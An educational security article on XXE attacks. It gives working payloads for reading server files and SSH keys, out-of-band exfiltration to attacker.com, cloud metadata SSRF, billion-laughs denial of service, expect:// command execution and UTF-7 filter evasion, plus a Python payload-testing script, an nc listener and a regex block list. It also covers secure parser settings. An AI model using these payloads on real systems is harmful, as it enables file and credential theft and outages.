# XML External Entity (XXE) Attacks

CRITICAL SEVERITY FILE DISCLOSURE XML INJECTION

Imagine filling out a form that asks for your name, but instead of writing "John," you write "Please read the contents of the safe behind you and write it here" - and the clerk actually does it. That's XML External Entity (XXE) in a nutshell.

XXE attacks exploit how computers process XML files. When you upload a specially crafted XML file, the server reads it and unknowingly executes malicious instructions embedded within, like reading sensitive files or making network requests you shouldn't be able to make.

Simple Example: You upload an innocent-looking XML file to a website. Hidden in that file is an instruction that says "Read /etc/passwd file." The server obediently reads the file and includes its contents in the response - giving you access to system files you should never see.

XML (eXtensible Markup Language) is a way to structure data, kind of like HTML. It looks like this:

<person>
    <name>John</name>
    <age>30</age>
</person>

Entities in XML are like variables or shortcuts. You can define them like this:

<!ENTITY company "Acme Corp">
<message>Welcome to &company;</message>

When processed, &company; gets replaced with "Acme Corp".

External Entities can reference files or URLs:

<!ENTITY external SYSTEM "file:///etc/passwd">
<data>&external;</data>

Let's see how a typical XXE attack unfolds:

Scenario: Website with XML File Upload

<!-- User uploads normal XML -->
<?xml version="1.0"?>
<order>
    <item>Laptop</item>
    <quantity>1</quantity>
</order>

<!-- Hacker uploads this -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<order>
    <item>&xxe;</item>
    <quantity>1</quantity>
</order>

Order received: 1 root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

FILE ACCESS DATA THEFT

What it is: Reading files from the server's filesystem.

Attack Example:

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<userInfo>
  <firstName>&file;</firstName>
</userInfo>

Files Hackers Target:

<!ENTITY file SYSTEM "file:///etc/passwd">       <!-- User accounts -->
<!ENTITY file SYSTEM "file:///etc/shadow">       <!-- Password hashes -->
<!ENTITY file SYSTEM "file:///etc/hosts">        <!-- Network configuration -->
<!ENTITY file SYSTEM "file:///proc/self/environ"> <!-- Environment variables -->
<!ENTITY file SYSTEM "file:///var/log/apache2/access.log"> <!-- Logs -->
<!ENTITY file SYSTEM "file:///root/.ssh/id_rsa"> <!-- SSH keys -->

<!ENTITY file SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
<!ENTITY file SYSTEM "file:///C:/Users/Administrator/.ssh/id_rsa">
<!ENTITY file SYSTEM "file:///C:/inetpub/wwwroot/web.config">

<!ENTITY file SYSTEM "file:///var/www/html/config.php">  <!-- Database passwords -->
<!ENTITY file SYSTEM "file:///app/secrets.json">         <!-- API keys -->
<!ENTITY file SYSTEM "file:///.env">                     <!-- Environment config -->

Vulnerable Code:

from lxml import etree

xml_data = request.files['upload'].read()

# Default settings allow external entities!
parser = etree.XMLParser()
tree = etree.fromstring(xml_data, parser)

# Attacker can read any file the server can access

// Java - VULNERABLE
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// External entities enabled by default!
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlData)));

// PHP - VULNERABLE
// libxml_disable_entity_loader is deprecated but still used
libxml_disable_entity_loader(false);  // DANGEROUS!
$xml = simplexml_load_string($xmlData);

STEALTHY OUT-OF-BAND

What it is: The application processes XML but doesn't return the parsed data to you. You need to exfiltrate data out-of-band.

Attack Method - Out-of-Band Exfiltration:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/log?data=%file;'>">
%eval;
%exfiltrate;

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<data>test</data>

NETWORK ACCESS INTERNAL SYSTEMS

What it is: Using XXE to make the server send requests to internal systems.

Attack:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://localhost:8080/admin">
]>
<data>&xxe;</data>

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<data>&xxe;</data>

DENIAL OF SERVICE RESOURCE EXHAUSTION

What it is: Denial of Service through exponential entity expansion.

Attack:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

What Happens:

• lol9 expands to 10 lol8's
• Each lol8 expands to 10 lol7's
• This continues...
• Final expansion: 3 billion "lol" strings
• Server runs out of memory and crashes

HIDDEN XXE

XXE isn't just in .xml files. Many file formats use XML internally:

1. Create malicious XXE in word/document.xml
2. Zip it as .docx
3. Upload to document processor
4. XXE executes when opened

1. Malicious XML in xl/worksheets/sheet1.xml
2. Same attack as DOCX

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="500" height="500">
  <text x="0" y="16">&xxe;</text>
</svg>

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
  <soap:Body>
    <getUserInfo>
      <userId>&xxe;</userId>
    </getUserInfo>
  </soap:Body>
</soap:Envelope>

$30K BOUNTY RESPONSIBLE DISCLOSURE

The Setup:

• Facebook allowed uploading office documents
• Documents were processed server-side for preview
• DOCX files contain XML

The Attack:

Impact:

• Reported through bug bounty
• Facebook paid $30,000 reward
• Vulnerability patched quickly

CLIENT-SIDE XXE

The Attack:

• Google Toolbar used XML for configuration
• XML editor didn't disable external entities

Attack Payload:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini">
]>
<config>&xxe;</config>

Result:

• Could read local files from user's computer
• Patched after responsible disclosure

GOVERNMENT SYSTEM TAX DATA

The Setup:

• IRS tax filing system accepted XML
• Used for business tax returns
• Inadequate XXE protection

Potential Attack:

<!-- Tax return XML -->
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<TaxReturn>
  <BusinessName>&xxe;</BusinessName>
</TaxReturn>

Impact:

• Could have accessed sensitive tax data
• Found by security researchers
• Government patched before exploitation

MASS EXPLOITATION WORDPRESS

:icon-wordpress: The Vulnerability:

• Popular WordPress plugin processed XML feeds
• RSS/Atom feed parser had XXE vulnerability

Attack:

<!-- Malicious RSS feed -->
<?xml version="1.0"?>
<!DOCTYPE rss [
  <!ENTITY xxe SYSTEM "file:///var/www/html/wp-config.php">
]>
<rss version="2.0">
  <channel>
    <title>&xxe;</title>
  </channel>
</rss>

Result:

• Exposed WordPress database credentials
• Affected thousands of websites
• Emergency patch released

RCE

If PHP's expect module is loaded:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "expect://id">
]>
<data>&xxe;</data>

ADVANCED

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
  %all;
]>
<foo>&send;</foo>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">

FILTER EVASION

Some filters check for <!ENTITY but miss encoded versions:

<?xml version="1.0" encoding="UTF-7"?>
+ADw-+ACE-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI +AD4

ALTERNATIVE METHOD

When you can't control DTD but can control XML content:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

PRIMARY DEFENSE

from lxml import etree

# SECURE: Disable external entities
parser = etree.XMLParser(
    resolve_entities=False,  # Don't resolve entities
    no_network=True,         # No network access
    load_dtd=False           # Don't load DTD
)

xml_data = request.files['upload'].read()
tree = etree.fromstring(xml_data, parser)

import javax.xml.parsers.DocumentBuilderFactory;

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

// SECURE: Disable all the things
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);

DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlData)));

<?php
// SECURE: Disable external entities
libxml_disable_entity_loader(true);

// Even better: use simplexml with LIBXML_NOENT disabled
$xml = simplexml_load_string(
    $xmlData,
    'SimpleXMLElement',
    LIBXML_NOCDATA | LIBXML_NONET
);
?>

const libxmljs = require('libxmljs');

// SECURE: Disable external entities
const xml = libxmljs.parseXml(xmlData, {
    noent: false,    // Don't substitute entities
    nonet: true,     // No network access
    dtdload: false,  // Don't load DTD
    dtdvalid: false  // Don't validate against DTD
});

using System.Xml;

XmlReaderSettings settings = new XmlReaderSettings();

// SECURE: Disable DTD processing
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;

using (XmlReader reader = XmlReader.Create(stream, settings))
{
    XmlDocument doc = new XmlDocument();
    doc.Load(reader);
}

RECOMMENDED

Avoid XML When Possible:

<order>
  <item>Laptop</item>
  <quantity>1</quantity>
</order>

{
  "order": {
    "item": "Laptop",
    "quantity": 1
  }
}

DEFENSE IN DEPTH

import re

def validate_xml(xml_string):
    """Check for suspicious XML content"""

    dangerous_patterns = [
        r'<!ENTITY',
        r'<!DOCTYPE',
        r'SYSTEM',
        r'PUBLIC',
        r'file://',
        r'http://',
        r'https://',
        r'expect://',
        r'php://'
    ]

    for pattern in dangerous_patterns:
        if re.search(pattern, xml_string, re.IGNORECASE):
            raise ValueError(f"Suspicious XML content: {pattern}")

    return True

# Usage
xml_data = request.files['upload'].read()
validate_xml(xml_data)  # Throws error if malicious

RECOMMENDED

Recommended Libraries:

import defusedxml.ElementTree as ET

# Automatically prevents XXE, billion laughs, etc.
tree = ET.parse('file.xml')

INFRASTRUCTURE

# Run application with limited permissions
# Can't read /etc/passwd if process doesn't have permission

# Create limited user
useradd -r -s /bin/false xmlapp

# Run app as limited user
su -s /bin/sh xmlapp -c 'node server.js'

# Application files should not be readable by app user
chmod 640 /app/config/database.yml
chown root:root /app/config/database.yml

# App runs as 'xmlapp' user
# Even if XXE exists, can't read config files

TESTING GUIDE

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY test "Hello XXE">
]>
<data>&test;</data>

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<data>&xxe;</data>

nc -lvp 9001

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://YOUR-IP:9001/test">
]>
<data>&xxe;</data>

# Test for XXE
ruby XXEinjector.rb --host=192.168.1.100 --path=/upload --file=/tmp/test.xml --oob=http --phpfilter

# Enumerate files
ruby XXEinjector.rb --host=target.com --file=request.txt --enumeration

1. Capture XML request
2. Send to Intruder
3. Insert XXE payloads
4. Analyze responses

import requests

url = "http://target.com/upload"

# Test payloads
payloads = [
    # Basic entity
    '''<?xml version="1.0"?>
    <!DOCTYPE foo [<!ENTITY test "XXE_WORKS">]>
    <data>&test;</data>''',

    # File disclosure
    '''<?xml version="1.0"?>
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
    <data>&xxe;</data>''',

    # Out-of-band
    '''<?xml version="1.0"?>
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]>
    <data>&xxe;</data>'''
]

for i, payload in enumerate(payloads):
    response = requests.post(url, data=payload, headers={'Content-Type': 'application/xml'})

    print(f"Payload {i+1}:")
    print(f"Status: {response.status_code}")
    print(f"Response: {response.text[:200]}")
    print("-" * 50)

XML External Entity (XXE) exploits how XML parsers process external references. By uploading specially crafted XML, attackers can read server files, make internal network requests, or crash the server through resource exhaustion.

The Simple Version:

• What it is: Tricking XML parser into reading files or making requests by embedding malicious entity references
• Why it's dangerous: Can read sensitive files (passwords, keys), access internal systems (SSRF), or crash servers (DoS)
• How to prevent it: Disable external entity processing in XML parsers, use JSON instead of XML

Real-World Impact:

• Facebook: Internal file disclosure (2014) - $30K bug bounty
• IRS: Tax system vulnerability (2018)
• :icon-wordpress: WordPress: Mass exploitation through plugins

Common Targets: Configuration files, password files, SSH keys, source code

For Website Owners & Developers:

DO Disable external entity processing in all XML parsers DO Disable DTD (Document Type Definition) processing DO Use simple data formats (JSON) instead of XML when possible DO Use secure XML libraries (defusedxml, latest versions) DO Run application with least privilege DO Validate and sanitize XML input DO Keep XML processing libraries updated

DON'T Allow external entity resolution in XML parsers DON'T Process untrusted XML with default parser settings DON'T Return raw XML parsing errors to users DON'T Trust office documents (.docx, .xlsx) - they contain XML DON'T Allow DTD declarations in user-supplied XML

For Regular Users:

TIP Be cautious uploading XML files to untrusted sites - they could test for XXE TIP XXE mainly affects servers, not end users directly TIP If you manage systems, audit all XML-processing code

• OWASP XXE Guide
• PortSwigger XXE
• CWE-611: XML External Entities
• Defusedxml Library

Last updated: November 2025